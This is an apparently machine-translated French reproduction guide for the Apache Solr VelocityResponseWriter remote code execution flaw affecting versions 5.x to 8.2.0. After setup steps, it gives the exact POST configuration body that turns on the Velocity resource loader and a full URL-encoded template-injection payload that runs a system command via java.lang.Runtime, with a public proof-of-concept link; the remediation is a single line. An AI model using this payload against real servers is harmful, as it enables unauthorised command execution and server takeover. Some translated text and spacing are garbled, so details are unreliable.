0x01 Introduction
Solr est un serveur d'applications de recherche indépendant au niveau de l'entreprise qui peut fournir des services externes via l'interface API du service Web. Les utilisateurs peuvent soumettre des fichiers XML dans un certain format au serveur du moteur de recherche via des requêtes http pour générer des index ; ils peuvent également effectuer des requêtes de recherche via des opérations Http Get et obtenir les résultats renvoyés au format XML.
0x02 Vulnerability Introduction
Il existe un composant VelocityResponseWriter dans Solr. Un attaquant peut construire une requête spécifique pour modifier la configuration appropriée, afin que le composant VelocityResponseWriter permette le chargement du modèle spécifié, ce qui conduit à son tour à la vulnérabilité d'exécution de commande à distance par injection de modèle Velocity. L'attaquant exploite cette vulnérabilité. Il peut obtenir directement les autorisations du serveur.
0x03 Portée d'influence
Apache Solr 5.x - 8.2.0, il existe une version API de configuration
0x04 Configuration de l'environnement
Installez l'environnement java8, puis téléchargez Solr, téléchargez adresse :
https://www.apache.org/dyn/closer.lua/lucene/solr/8.2.0/solr-8.2.0.zip
Après le téléchargement, décompressez-le et entrez dans le répertoire bin pour l'exécuter. /solr start
unzip solr- 8.2.0.zip
Certains messages d'avertissement apparaîtront au démarrage. Nous pouvons les éliminer en modifiant le fichier solr.in.sh sous bin et en définissant SOLR_ULIMIT_CHECKS sur false
vim solr. .in.sh
Puis recommencez./solr start Si le démarrage root échoue, ajoutez -force à la fin
Visitez http://ip:8983 dans le navigateur, l'interface suivante apparaît pour indiquer le succès installation
Mais j'ai trouvé que Core ne peut pas être créé
Nous créons d'abord manuellement un dossier new_core dans le répertoire /server/solr/, puis copions le répertoire conf sous /server/solr/configsets/_default/ dans le répertoire new_core, puis cliquez sur Créer
Récurrence de vulnérabilité 0x05
Après avoir créé le Core, visitez pour voir si le fichier de configuration de l'application est accessible
http://ip:8983/solr/new_core/config
Apache Solr intègre le plug-in VelocityResponseWriter par défaut. La valeur par défaut de params.resource.loader.enabled dans le paramètre d'initialisation du plug-in est définie sur false, mais les paramètres d'intégration peuvent être directement modifiés via une requête POST, définie sur true. , puis une requête GET spéciale peut être construite pour réaliser l'exécution de code à distance.
Utilisez Burp pour récupérer le package de cette page, construisez directement une requête POST et ajoutez les données suivantes
{
"update-queryresponsewriter": {
"startup": "lazy",
"name" : "velocity" ,
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params .resource.loader .enabled": "true"
}
}
Ensuite, nous pouvons construire la charge utile pour implémenter RCE
charge utile :
http://ip:8983/solr/test/select ?q= 1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27)) +%23set ($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+% 23set($ ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[ 1.. $out.available()])$str.valueOf($chr.toChars($out.read()))%23end
Adresse POC : https://github.com/wyzxxz/Apache_Solr_RCE_via_Velocity_template
Méthode de correction 0x06
Mise à jour vers la dernière version
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!